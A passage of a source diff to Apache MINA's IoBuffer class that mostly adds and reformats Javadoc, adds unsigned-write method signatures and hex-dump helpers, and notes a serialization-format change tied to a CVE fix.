discarded. + * double Clears this buffer and fills its content with value. The + * position is set to zero, the limit is set to the capacity, and the mark is + * discarded. + * + * @param value The value to put in the buffer + * @return the modified IoBuffer + * */ public abstract IoBuffer sweep(byte value); /** * @see java.nio.Buffer#flip() + * + * @return the modified IoBuffer + * */ public abstract IoBuffer flip(); /** * @see java.nio.Buffer#rewind() + * + * @return the modified IoBuffer + * */ public abstract IoBuffer rewind(); /** * @see java.nio.Buffer#remaining() + * + * @return The remaining bytes in the buffer */ public abstract int remaining(); /** * @see java.nio.Buffer#hasRemaining() + * + * @return true if there are some remaining bytes in the buffer */ public abstract boolean hasRemaining(); /** * @see ByteBuffer#duplicate() + * + * @return the modified IoBuffer + * */ public abstract IoBuffer duplicate(); /** * @see ByteBuffer#slice() + * + * @return the modified IoBuffer + * */ public abstract IoBuffer slice(); /** * @see ByteBuffer#asReadOnlyBuffer() + * + * @return the modified IoBuffer + * */ public abstract IoBuffer asReadOnlyBuffer(); /** * @see ByteBuffer#hasArray() + * + * @return true if the {@link #array()} method will return a byte[] */ public abstract boolean hasArray(); /** * @see ByteBuffer#array() + * + * @return A byte[] if this IoBuffer supports it */ public abstract byte[] array(); /** * @see ByteBuffer#arrayOffset() + * + * @return The offset in the returned byte[] when the {@link #array()} method is + * called */ public abstract int arrayOffset(); /** * @see ByteBuffer#get() + * + * @return The byte at the current position */ public abstract byte get(); /** * Reads one unsigned byte as a short integer. + * + * @return the unsigned short at the current position */ public abstract short getUnsigned(); /** * @see ByteBuffer#put(byte) + * + * @param b The byte to put in the buffer + * @return the modified IoBuffer + * */ public abstract IoBuffer put(byte b); /** * @see ByteBuffer#get(int) + * + * @param index The position for which we want to read a byte + * @return the byte at the given position */ public abstract byte get(int index); /** * Reads one byte as an unsigned short integer. + * + * @param index The position for which we want to read an unsigned byte + * @return the unsigned byte at the given position */ public abstract short getUnsigned(int index); /** * @see ByteBuffer#put(int, byte) + * + * @param index The position where the byte will be put + * @param b The byte to put + * @return the modified IoBuffer + * */ public abstract IoBuffer put(int index, byte b); /** * @see ByteBuffer#get(byte[], int, int) + * + * @param dst The destination buffer + * @param offset The position in the original buffer + * @param length The number of bytes to copy + * @return the modified IoBuffer */ public abstract IoBuffer get(byte[] dst, int offset, int length); /** * @see ByteBuffer#get(byte[]) + * + * @param dst The byte[] that will contain the read bytes + * @return the IoBuffer */ public abstract IoBuffer get(byte[] dst); /** - * TODO document me. + * Get a new IoBuffer containing a slice of the current buffer + * + * @param index The position in the buffer + * @param length The number of bytes to copy + * @return the new IoBuffer */ public abstract IoBuffer getSlice(int index, int length); /** - * TODO document me. + * Get a new IoBuffer containing a slice of the current buffer + * + * @param length The number of bytes to copy + * @return the new IoBuffer */ public abstract IoBuffer getSlice(int length); /** - * Writes the content of the specified src into this buffer. + * Writes the content of the specified src into this buffer. + * + * @param src The source ByteBuffer + * @return the modified IoBuffer */ public abstract IoBuffer put(ByteBuffer src); /** - * Writes the content of the specified src into this buffer. + * Writes the content of the specified src into this buffer. + * + * @param src The source IoBuffer + * @return the modified IoBuffer */ public abstract IoBuffer put(IoBuffer src); /** * @see ByteBuffer#put(byte[], int, int) + * + * @param src The byte[] to put + * @param offset The position in the source + * @param length The number of bytes to copy + * @return the modified IoBuffer */ public abstract IoBuffer put(byte[] src, int offset, int length); /** * @see ByteBuffer#put(byte[]) + * + * @param src The byte[] to put + * @return the modified IoBuffer */ public abstract IoBuffer put(byte[] src); /** * @see ByteBuffer#compact() + * + * @return the modified IoBuffer */ public abstract IoBuffer compact(); /** * @see ByteBuffer#order() + * + * @return the IoBuffer ByteOrder */ public abstract ByteOrder order(); /** * @see ByteBuffer#order(ByteOrder) + * + * @param bo The new ByteBuffer to use for this IoBuffer + * @return the modified IoBuffer */ public abstract IoBuffer order(ByteOrder bo); /** * @see ByteBuffer#getChar() + * + * @return The char at the current position */ public abstract char getChar(); /** * @see ByteBuffer#putChar(char) + * + * @param value The char to put at the current position + * @return the modified IoBuffer */ public abstract IoBuffer putChar(char value); /** * @see ByteBuffer#getChar(int) + * + * @param index The index in the IoBuffer where we will read a char from + * @return the char at 'index' position */ public abstract char getChar(int index); /** * @see ByteBuffer#putChar(int, char) + * + * @param index The index in the IoBuffer where we will put a char in + * @param value The char to put at the current position + * @return the modified IoBuffer */ public abstract IoBuffer putChar(int index, char value); /** * @see ByteBuffer#asCharBuffer() + * + * @return a new CharBuffer */ public abstract CharBuffer asCharBuffer(); /** * @see ByteBuffer#getShort() + * + * @return The read short */ public abstract short getShort(); /** * Reads two bytes unsigned integer. + * + * @return The read unsigned short */ public abstract int getUnsignedShort(); /** * @see ByteBuffer#putShort(short) + * + * @param value The short to put at the current position + * @return the modified IoBuffer */ public abstract IoBuffer putShort(short value); /** * @see ByteBuffer#getShort() + * + * @param index The index in the IoBuffer where we will read a short from + * @return The read short */ public abstract short getShort(int index); /** * Reads two bytes unsigned integer. + * + * @param index The index in the IoBuffer where we will read an unsigned short + * from + * @return the unsigned short at the given position */ public abstract int getUnsignedShort(int index); /** * @see ByteBuffer#putShort(int, short) + * + * @param index The position at which the short should be written + * @param value The short to put at the current position + * @return the modified IoBuffer */ public abstract IoBuffer putShort(int index, short value); /** * @see ByteBuffer#asShortBuffer() + * + * @return A ShortBuffer from this IoBuffer */ public abstract ShortBuffer asShortBuffer(); /** * @see ByteBuffer#getInt() + * + * @return The int read */ public abstract int getInt(); /** * Reads four bytes unsigned integer. + * + * @return The unsigned int read */ public abstract long getUnsignedInt(); @@ -639,10 +1025,9 @@ protected IoBuffer() { * Relative get method for reading a medium int value. * *

- * Reads the next three bytes at this buffer's current position, composing - * them into an int value according to the current byte order, and then - * increments the position by three. - *

+ * Reads the next three bytes at this buffer's current position, composing them + * into an int value according to the current byte order, and then increments + * the position by three. * * @return The medium int value at the buffer's current position */ @@ -652,10 +1037,9 @@ protected IoBuffer() { * Relative get method for reading an unsigned medium int value. * *

- * Reads the next three bytes at this buffer's current position, composing - * them into an int value according to the current byte order, and then - * increments the position by three. - *

+ * Reads the next three bytes at this buffer's current position, composing them + * into an int value according to the current byte order, and then increments + * the position by three. * * @return The unsigned medium int value at the buffer's current position */ @@ -665,17 +1049,14 @@ protected IoBuffer() { * Absolute get method for reading a medium int value. * *

- * Reads the next three bytes at this buffer's current position, composing - * them into an int value according to the current byte order. - *

+ * Reads the next three bytes at this buffer's current position, composing them + * into an int value according to the current byte order. * - * @param index - * The index from which the medium int will be read + * @param index The index from which the medium int will be read * @return The medium int value at the given index * - * @throws IndexOutOfBoundsException - * If index is negative or not smaller than the - * buffer's limit + * @throws IndexOutOfBoundsException If index is negative or not + * smaller than the buffer's limit */ public abstract int getMediumInt(int index); @@ -683,17 +1064,14 @@ protected IoBuffer() { * Absolute get method for reading an unsigned medium int value. * *

- * Reads the next three bytes at this buffer's current position, composing - * them into an int value according to the current byte order. - *

+ * Reads the next three bytes at this buffer's current position, composing them + * into an int value according to the current byte order. * - * @param index - * The index from which the unsigned medium int will be read + * @param index The index from which the unsigned medium int will be read * @return The unsigned medium int value at the given index * - * @throws IndexOutOfBoundsException - * If index is negative or not smaller than the - * buffer's limit + * @throws IndexOutOfBoundsException If index is negative or not + * smaller than the buffer's limit */ public abstract int getUnsignedMediumInt(int index); @@ -701,21 +1079,13 @@ protected IoBuffer() { * Relative put method for writing a medium int value. * *

- * Writes three bytes containing the given int value, in the current byte - * order, into this buffer at the current position, and then increments the - * position by three. - *

- * - * @param value - * The medium int value to be written + * Writes three bytes containing the given int value, in the current byte order, + * into this buffer at the current position, and then increments the position by + * three. * - * @return This buffer + * @param value The medium int value to be written * - * @throws BufferOverflowException - * If there are fewer than three bytes remaining in this buffer - * - * @throws ReadOnlyBufferException - * If this buffer is read-only + * @return the modified IoBuffer */ public abstract IoBuffer putMediumInt(int value); @@ -723,141 +1093,419 @@ protected IoBuffer() { * Absolute put method for writing a medium int value. * *

- * Writes three bytes containing the given int value, in the current byte - * order, into this buffer at the given index. - *

- * - * @param index - * The index at which the bytes will be written + * Writes three bytes containing the given int value, in the current byte order, + * into this buffer at the given index. * - * @param value - * The medium int value to be written + * @param index The index at which the bytes will be written * - * @return This buffer + * @param value The medium int value to be written * - * @throws IndexOutOfBoundsException - * If index is negative or not smaller than the - * buffer's limit, minus three + * @return the modified IoBuffer * - * @throws ReadOnlyBufferException - * If this buffer is read-only + * @throws IndexOutOfBoundsException If index is negative or not + * smaller than the buffer's limit, minus + * three */ public abstract IoBuffer putMediumInt(int index, int value); /** * @see ByteBuffer#putInt(int) + * + * @param value The int to put at the current position + * @return the modified IoBuffer */ public abstract IoBuffer putInt(int value); + /** + * Writes an unsigned byte into the ByteBuffer + * + * @param value the byte to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsigned(byte value); + + /** + * Writes an unsigned byte into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the value + * @param value the byte to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsigned(int index, byte value); + + /** + * Writes an unsigned byte into the ByteBuffer + * + * @param value the short to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsigned(short value); + + /** + * Writes an unsigned byte into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the value + * @param value the short to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsigned(int index, short value); + + /** + * Writes an unsigned byte into the ByteBuffer + * + * @param value the int to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsigned(int value); + + /** + * Writes an unsigned byte into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the value + * @param value the int to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsigned(int index, int value); + + /** + * Writes an unsigned byte into the ByteBuffer + * + * @param value the long to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsigned(long value); + + /** + * Writes an unsigned byte into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the value + * @param value the long to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsigned(int index, long value); + + /** + * Writes an unsigned int into the ByteBuffer + * + * @param value the byte to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedInt(byte value); + + /** + * Writes an unsigned int into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the value + * @param value the byte to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedInt(int index, byte value); + + /** + * Writes an unsigned int into the ByteBuffer + * + * @param value the short to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedInt(short value); + + /** + * Writes an unsigned int into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the value + * @param value the short to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedInt(int index, short value); + + /** + * Writes an unsigned int into the ByteBuffer + * + * @param value the int to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedInt(int value); + + /** + * Writes an unsigned int into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the value + * @param value the int to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedInt(int index, int value); + + /** + * Writes an unsigned int into the ByteBuffer + * + * @param value the long to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedInt(long value); + + /** + * Writes an unsigned int into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the value + * @param value the long to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedInt(int index, long value); + + /** + * Writes an unsigned short into the ByteBuffer + * + * @param value the byte to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedShort(byte value); + + /** + * Writes an unsigned Short into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the value + * @param value the byte to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedShort(int index, byte value); + + /** + * Writes an unsigned Short into the ByteBuffer + * + * @param value the short to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedShort(short value); + + /** + * Writes an unsigned Short into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the unsigned short + * @param value the unsigned short to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedShort(int index, short value); + + /** + * Writes an unsigned Short into the ByteBuffer + * + * @param value the int to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedShort(int value); + + /** + * Writes an unsigned Short into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the value + * @param value the int to write + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedShort(int index, int value); + + /** + * Writes an unsigned Short into the ByteBuffer + * + * @param value the long to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedShort(long value); + + /** + * Writes an unsigned Short into the ByteBuffer at a specified position + * + * @param index the position in the buffer to write the short + * @param value the long to write + * + * @return the modified IoBuffer + */ + public abstract IoBuffer putUnsignedShort(int index, long value); + /** * @see ByteBuffer#getInt(int) + * @param index The index in the IoBuffer where we will read an int from + * @return the int at the given position */ public abstract int getInt(int index); /** * Reads four bytes unsigned integer. + * + * @param index The index in the IoBuffer where we will read an unsigned int + * from + * @return The long at the given position */ public abstract long getUnsignedInt(int index); /** * @see ByteBuffer#putInt(int, int) + * + * @param index The position where to put the int + * @param value The int to put in the IoBuffer + * @return the modified IoBuffer */ public abstract IoBuffer putInt(int index, int value); /** * @see ByteBuffer#asIntBuffer() + * + * @return the modified IoBuffer */ public abstract IntBuffer asIntBuffer(); /** * @see ByteBuffer#getLong() + * + * @return The long at the current position */ public abstract long getLong(); /** * @see ByteBuffer#putLong(int, long) + * + * @param value The log to put in the IoBuffer + * @return the modified IoBuffer */ public abstract IoBuffer putLong(long value); /** * @see ByteBuffer#getLong(int) + * + * @param index The index in the IoBuffer where we will read a long from + * @return the long at the given position */ public abstract long getLong(int index); /** * @see ByteBuffer#putLong(int, long) + * + * @param index The position where to put the long + * @param value The long to put in the IoBuffer + * @return the modified IoBuffer */ public abstract IoBuffer putLong(int index, long value); /** * @see ByteBuffer#asLongBuffer() + * + * @return a LongBuffer from this IoBffer */ public abstract LongBuffer asLongBuffer(); /** * @see ByteBuffer#getFloat() + * + * @return the float at the current position */ public abstract float getFloat(); /** * @see ByteBuffer#putFloat(float) + * + * @param value The float to put in the IoBuffer + * @return the modified IoBuffer */ public abstract IoBuffer putFloat(float value); /** * @see ByteBuffer#getFloat(int) + * + * @param index The index in the IoBuffer where we will read a float from + * @return The float at the given position */ public abstract float getFloat(int index); /** * @see ByteBuffer#putFloat(int, float) + * + * @param index The position where to put the float + * @param value The float to put in the IoBuffer + * @return the modified IoBuffer */ public abstract IoBuffer putFloat(int index, float value); /** * @see ByteBuffer#asFloatBuffer() + * + * @return A FloatBuffer from this IoBuffer */ public abstract FloatBuffer asFloatBuffer(); /** * @see ByteBuffer#getDouble() + * + * @return the double at the current position */ public abstract double getDouble(); /** * @see ByteBuffer#putDouble(double) + * + * @param value The double to put at the IoBuffer current position + * @return the modified IoBuffer */ public abstract IoBuffer putDouble(double value); /** * @see ByteBuffer#getDouble(int) + * + * @param index The position where to get the double from + * @return The double at the given position */ public abstract double getDouble(int index); /** * @see ByteBuffer#putDouble(int, double) + * + * @param index The position where to put the double + * @param value The double to put in the IoBuffer + * @return the modified IoBuffer */ public abstract IoBuffer putDouble(int index, double value); /** * @see ByteBuffer#asDoubleBuffer() + * + * @return A buffer containing Double */ public abstract DoubleBuffer asDoubleBuffer(); /** - * Returns an {@link InputStream} that reads the data from this buffer. - * {@link InputStream#read()} returns -1 if the buffer position - * reaches to the limit. + * @return an {@link InputStream} that reads the data from this buffer. + * {@link InputStream#read()} returns -1 if the buffer position + * reaches to the limit. */ public abstract InputStream asInputStream(); /** - * Returns an {@link OutputStream} that appends the data into this buffer. - * Please note that the {@link OutputStream#write(int)} will throw a - * {@link BufferOverflowException} instead of an {@link IOException} in case - * of buffer overflow. Please set autoExpand property by calling - * {@link #setAutoExpand(boolean)} to prevent the unexpected runtime - * exception. + * @return an {@link OutputStream} that appends the data into this buffer. + * Please note that the {@link OutputStream#write(int)} will throw a + * {@link BufferOverflowException} instead of an {@link IOException} in + * case of buffer overflow. Please set autoExpand property by + * calling {@link #setAutoExpand(boolean)} to prevent the unexpected + * runtime exception. */ public abstract OutputStream asOutputStream(); @@ -867,17 +1515,43 @@ protected IoBuffer() { * * @return hexidecimal representation of this buffer */ - public abstract String getHexDump(); + public String getHexDump() { + return this.getHexDump(this.remaining(), false); + } + + /** + * Returns hexdump of this buffer. The data and pointer are not changed as a + * result of this method call. + * + * @param pretty tells if the ourput should be verbose or not + * @return hexidecimal representation of this buffer + */ + public String getHexDump(boolean pretty) { + return getHexDump(this.remaining(), pretty); + } /** * Return hexdump of this buffer with limited length. * - * @param lengthLimit - * The maximum number of bytes to dump from the current buffer - * position. + * @param length The maximum number of bytes to dump from the current buffer + * position. * @return hexidecimal representation of this buffer */ - public abstract String getHexDump(int lengthLimit); + public String getHexDump(int length) { + return getHexDump(length, false); + } + + /** + * Return hexdump of this buffer with limited length. + * + * @param length The maximum number of bytes to dump from the current buffer position. + * @param pretty tells if the output should be verbose or not + * @return hexadecimal representation of this buffer + */ + public String getHexDump(int length, boolean pretty) { + return (pretty) ? IoBufferHexDumper.getPrettyHexDumpSlice(this, this.position(), Math.min(this.remaining(), length)) + : IoBufferHexDumper.getHexDumpSlice(this, this.position(), Math.min(this.remaining(), length)); + } // ////////////////////////////// // String getters and putters // @@ -885,8 +1559,13 @@ protected IoBuffer() { /** * Reads a NUL-terminated string from this buffer using the - * specified decoder and returns it. This method reads until - * the limit of this buffer if no NUL is found. + * specified decoder and returns it. This method reads until the + * limit of this buffer if no NUL is found. + * + * @param decoder The {@link CharsetDecoder} to use + * @return the read String + * @exception CharacterCodingException Thrown when an error occurred while + * decoding the buffer */ public abstract String getString(CharsetDecoder decoder) throws CharacterCodingException; @@ -894,42 +1573,58 @@ protected IoBuffer() { * Reads a NUL-terminated string from this buffer using the * specified decoder and returns it. * - * @param fieldSize - * the maximum number of bytes to read + * @param fieldSize the maximum number of bytes to read + * @param decoder The {@link CharsetDecoder} to use + * @return the read String + * @exception CharacterCodingException Thrown when an error occurred while + * decoding the buffer */ public abstract String getString(int fieldSize, CharsetDecoder decoder) throws CharacterCodingException; /** - * Writes the content of in into this buffer using the - * specified encoder. This method doesn't terminate string with - * NUL. You have to do it by yourself. + * Writes the content of in into this buffer using the specified + * encoder. This method doesn't terminate string with NUL. + * You have to do it by yourself. * - * @throws BufferOverflowException - * if the specified string doesn't fit + * @param val The CharSequence to put in the IoBuffer + * @param encoder The CharsetEncoder to use + * @return The modified IoBuffer + * @throws CharacterCodingException When we have an error while decoding the + * String */ public abstract IoBuffer putString(CharSequence val, CharsetEncoder encoder) throws CharacterCodingException; /** * Writes the content of in into this buffer as a - * NUL-terminated string using the specified - * encoder. + * NUL-terminated string using the specified encoder. *

* If the charset name of the encoder is UTF-16, you cannot specify odd - * fieldSize, and this method will append two NULs - * as a terminator. + * fieldSize, and this method will append two NULs as + * a terminator. *

- * Please note that this method doesn't terminate with NUL if - * the input string is longer than fieldSize. + * Please note that this method doesn't terminate with NUL if the + * input string is longer than fieldSize. * - * @param fieldSize - * the maximum number of bytes to write + * @param val The CharSequence to put in the IoBuffer + * @param fieldSize the maximum number of bytes to write + * @param encoder The CharsetEncoder to use + * @return The modified IoBuffer + * @throws CharacterCodingException When we have an error while decoding the + * String */ - public abstract IoBuffer putString(CharSequence val, int fieldSize, CharsetEncoder encoder) throws CharacterCodingException; + public abstract IoBuffer putString(CharSequence val, int fieldSize, CharsetEncoder encoder) + throws CharacterCodingException; /** * Reads a string which has a 16-bit length field before the actual encoded - * string, using the specified decoder and returns it. This - * method is a shortcut for getPrefixedString(2, decoder). + * string, using the specified decoder and returns it. This method + * is a shortcut for getPrefixedString(2, decoder). + * + * @param decoder The CharsetDecoder to use + * @return The read String + * + * @throws CharacterCodingException When we have an error while decoding the + * String */ public abstract String getPrefixedString(CharsetDecoder decoder) throws CharacterCodingException; @@ -937,124 +1632,145 @@ protected IoBuffer() { * Reads a string which has a length field before the actual encoded string, * using the specified decoder and returns it. * - * @param prefixLength - * the length of the length field (1, 2, or 4) + * @param prefixLength the length of the length field (1, 2, or 4) + * @param decoder The CharsetDecoder to use + * @return The read String + * + * @throws CharacterCodingException When we have an error while decoding the + * String */ public abstract String getPrefixedString(int prefixLength, CharsetDecoder decoder) throws CharacterCodingException; /** - * Writes the content of in into this buffer as a string which - * has a 16-bit length field before the actual encoded string, using the - * specified encoder. This method is a shortcut for - * putPrefixedString(in, 2, 0, encoder). + * Writes the content of in into this buffer as a string which has + * a 16-bit length field before the actual encoded string, using the specified + * encoder. This method is a shortcut for + * putPrefixedString(in, 2, 0, encoder). + * + * @param in The CharSequence to put in the IoBuffer + * @param encoder The CharsetEncoder to use + * @return The modified IoBuffer * - * @throws BufferOverflowException - * if the specified string doesn't fit + * @throws CharacterCodingException When we have an error while decoding the + * CharSequence */ public abstract IoBuffer putPrefixedString(CharSequence in, CharsetEncoder encoder) throws CharacterCodingException; /** - * Writes the content of in into this buffer as a string which - * has a 16-bit length field before the actual encoded string, using the - * specified encoder. This method is a shortcut for - * putPrefixedString(in, prefixLength, 0, encoder). + * Writes the content of in into this buffer as a string which has + * a 16-bit length field before the actual encoded string, using the specified + * encoder. This method is a shortcut for + * putPrefixedString(in, prefixLength, 0, encoder). * - * @param prefixLength - * the length of the length field (1, 2, or 4) + * @param in The CharSequence to put in the IoBuffer + * @param prefixLength the length of the length field (1, 2, or 4) + * @param encoder The CharsetEncoder to use + * @return The modified IoBuffer * - * @throws BufferOverflowException - * if the specified string doesn't fit + * @throws CharacterCodingException When we have an error while decoding the + * CharSequence */ public abstract IoBuffer putPrefixedString(CharSequence in, int prefixLength, CharsetEncoder encoder) throws CharacterCodingException; /** - * Writes the content of in into this buffer as a string which - * has a 16-bit length field before the actual encoded string, using the - * specified encoder. This method is a shortcut for - * putPrefixedString(in, prefixLength, padding, ( byte ) 0, encoder) - * . + * Writes the content of in into this buffer as a string which has + * a 16-bit length field before the actual encoded string, using the specified + * encoder. This method is a shortcut for + * putPrefixedString(in, prefixLength, padding, ( byte ) 0, encoder) * - * @param prefixLength - * the length of the length field (1, 2, or 4) - * @param padding - * the number of padded NULs (1 (or 0), 2, or 4) + * @param in The CharSequence to put in the IoBuffer + * @param prefixLength the length of the length field (1, 2, or 4) + * @param padding the number of padded NULs (1 (or 0), 2, or 4) + * @param encoder The CharsetEncoder to use + * @return The modified IoBuffer * - * @throws BufferOverflowException - * if the specified string doesn't fit + * @throws CharacterCodingException When we have an error while decoding the + * CharSequence */ public abstract IoBuffer putPrefixedString(CharSequence in, int prefixLength, int padding, CharsetEncoder encoder) throws CharacterCodingException; /** - * Writes the content of in into this buffer as a string which - * has a 16-bit length field before the actual encoded string, using the - * specified encoder. - * - * @param prefixLength - * the length of the length field (1, 2, or 4) - * @param padding - * the number of padded bytes (1 (or 0), 2, or 4) - * @param padValue - * the value of padded bytes + * Writes the content of val into this buffer as a string which has + * a 16-bit length field before the actual encoded string, using the specified + * encoder. * - * @throws BufferOverflowException - * if the specified string doesn't fit + * @param val The CharSequence to put in teh IoBuffer + * @param prefixLength the length of the length field (1, 2, or 4) + * @param padding the number of padded bytes (1 (or 0), 2, or 4) + * @param padValue the value of padded bytes + * @param encoder The CharsetEncoder to use + * @return The modified IoBuffer + * @throws CharacterCodingException When we have an error while decoding the + * CharSequence */ public abstract IoBuffer putPrefixedString(CharSequence val, int prefixLength, int padding, byte padValue, CharsetEncoder encoder) throws CharacterCodingException; /** - * Reads a Java object from the buffer using the context {@link ClassLoader} - * of the current thread. + * Reads a Java object from the buffer using the context {@link ClassLoader} of + * the current thread. + *

+ * See {@link #putObject(Object)} for how the serialized form differs + * across MINA versions. + * + * @return The read Object + * @throws ClassNotFoundException thrown when we can't find the Class to use */ public abstract Object getObject() throws ClassNotFoundException; /** - * Reads a Java object from the buffer using the specified - * classLoader. + * Reads a Java object from the buffer using the specified classLoader. + *

+ * See {@link #putObject(Object)} for how the serialized form differs + * across MINA versions. + * + * @param classLoader The classLoader to use to read an Object from the IoBuffer + * @return The read Object + * @throws ClassNotFoundException thrown when we can't find the Class to use */ public abstract Object getObject(final ClassLoader classLoader) throws ClassNotFoundException; /** * Writes the specified Java object to the buffer. + * + *

+ * The serialized form of Serializable objects changed in MINA 2.2.8, as + * part of the CVE-2026-47065 fix: a stream produced by MINA 2.2.7 or + * earlier cannot be read by MINA 2.2.8 or later, and a stream produced by + * MINA 2.2.8 or later cannot be read by MINA 2.2.7 or earlier. Arrays and + * primitives are not affected. + * + * @param o The Object to write in the IoBuffer + * @return The modified IoBuffer */ public abstract IoBuffer putObject(Object o); /** - * Returns true if this buffer contains a data which has a data - * length as a prefix and the buffer has remaining data as enough as - * specified in the data length field. This method is identical with - * prefixedDataAvailable( prefixLength, Integer.MAX_VALUE ). Please - * not that using this method can allow DoS (Denial of Service) attack in - * case the remote peer sends too big data length value. It is recommended - * to use {@link #prefixedDataAvailable(int, int)} instead. - * - * @param prefixLength - * the length of the prefix field (1, 2, or 4) * - * @throws IllegalArgumentException - * if prefixLength is wrong - * @throws BufferDataException - * if data length is negative + * @param prefixLength the length of the prefix field (1, 2, or 4) + * @return true if this buffer contains a data which has a data length + * as a prefix and the buffer has remaining data as enough as specified + * in the data length field. This method is identical with + * prefixedDataAvailable( prefixLength, Integer.MAX_VALUE ). + * Please not that using this method can allow DoS (Denial of Service) + * attack in case the remote peer sends too big data length value. It is + * recommended to use {@link #prefixedDataAvailable(int, int)} instead. + * @throws IllegalArgumentException if prefixLength is wrong + * @throws BufferDataException if data length is negative */ public abstract boolean prefixedDataAvailable(int prefixLength); /** - * Returns true if this buffer contains a data which has a data - * length as a prefix and the buffer has remaining data as enough as - * specified in the data length field. - * - * @param prefixLength - * the length of the prefix field (1, 2, or 4) - * @param maxDataLength - * the allowed maximum of the read data length - * - * @throws IllegalArgumentException - * if prefixLength is wrong - * @throws BufferDataException - * if data length is negative or greater then - * maxDataLength + * @param prefixLength the length of the prefix field (1, 2, or 4) + * @param maxDataLength the allowed maximum of the read data length + * @return true if this buffer contains a data which has a data length + * as a prefix and the buffer has remaining data as enough as specified + * in the data length field. + * @throws IllegalArgumentException if prefixLength is wrong + * @throws BufferDataException if data length is negative or greater then + * maxDataLength */ public abstract boolean prefixedDataAvailable(int prefixLength, int maxDataLength); @@ -1063,10 +1779,11 @@ public abstract IoBuffer putPrefixedString(CharSequence val, int prefixLength, i // /////////////////// /** - * Returns the first occurence position of the specified byte from the - * current position to the current limit. - * - * @return -1 if the specified byte is not found + * Returns the first occurrence position of the specified byte from the current + * position to the current limit. + * + * @param b The byte we are looking for + * @return -1 if the specified byte is not found */ public abstract int indexOf(byte b); @@ -1077,30 +1794,47 @@ public abstract IoBuffer putPrefixedString(CharSequence val, int prefixLength, i /** * Forwards the position of this buffer as the specified size * bytes. + * + * @param size The added size + * @return The modified IoBuffer */ public abstract IoBuffer skip(int size); /** - * Fills this buffer with the specified value. This method moves buffer - * position forward. + * Fills this buffer with the specified value. This method moves buffer position + * forward. + * + * @param value The value to fill the IoBuffer with + * @param size The added size + * @return The modified IoBuffer */ public abstract IoBuffer fill(byte value, int size); /** * Fills this buffer with the specified value. This method does not change * buffer position. + * + * @param value The value to fill the IoBuffer with + * @param size The added size + * @return The modified IoBuffer */ public abstract IoBuffer fillAndReset(byte value, int size); /** * Fills this buffer with NUL (0x00). This method moves buffer * position forward. + * + * @param size The added size + * @return The modified IoBuffer */ public abstract IoBuffer fill(int size); /** - * Fills this buffer with NUL (0x00). This method does not - * change buffer position. + * Fills this buffer with NUL (0x00). This method does not change + * buffer position. + * + * @param size The added size + * @return The modified IoBuffer */ public abstract IoBuffer fillAndReset(int size); @@ -1112,10 +1846,9 @@ public abstract IoBuffer putPrefixedString(CharSequence val, int prefixLength, i * Reads a byte from the buffer and returns the correlating enum constant * defined by the specified enum type. * - * @param - * The enum type to return - * @param enumClass - * The enum's class object + * @param The enum type to return + * @param enumClass The enum's class object + * @return The correlated enum constant */ public abstract > E getEnum(Class enumClass); @@ -1123,12 +1856,10 @@ public abstract IoBuffer putPrefixedString(CharSequence val, int prefixLength, i * Reads a byte from the buffer and returns the correlating enum constant * defined by the specified enum type. * - * @param - * The enum type to return - * @param index - * the index from which the byte will be read - * @param enumClass - * The enum's class object + * @param The enum type to return + * @param index the index from which the byte will be read + * @param enumClass The enum's class object + * @return The correlated enum constant */ public abstract > E getEnum(int index, Class enumClass); @@ -1136,10 +1867,9 @@ public abstract IoBuffer putPrefixedString(CharSequence val, int prefixLength, i * Reads a short from the buffer and returns the correlating enum constant * defined by the specified enum type. * - * @param - * The enum type to return - * @param enumClass - * The enum's class object + * @param The enum type to return + * @param enumClass The enum's class object + * @return The correlated enum constant */ public abstract > E getEnumShort(Class enumClass); @@ -1147,12 +1877,10 @@ public abstract IoBuffer putPrefixedString(CharSequence val, int prefixLength, i * Reads a short from the buffer and returns the correlating enum constant * defined by the specified enum type. * - * @param - * The enum type to return - * @param index - * the index from which the bytes will be read - * @param enumClass - * The enum's class object + * @param The enum type to return + * @param index the index from which the bytes will be read + * @param enumClass The enum's class object + * @return The correlated enum constant */ public abstract > E getEnumShort(int index, Class enumClass); @@ -1160,10 +1888,9 @@ public abstract IoBuffer putPrefixedString(CharSequence val, int prefixLength, i * Reads an int from the buffer and returns the correlating enum constant * defined by the specified enum type. * - * @param - * The enum type to return - * @param enumClass - * The enum's class object + * @param The enum type to return + * @param enumClass The enum's class object + * @return The correlated enum constant */ public abstract > E getEnumInt(Class enumClass); @@ -1171,66 +1898,61 @@ public abstract IoBuffer putPrefixedString(CharSequence val, int prefixLength, i * Reads an int from the buffer and 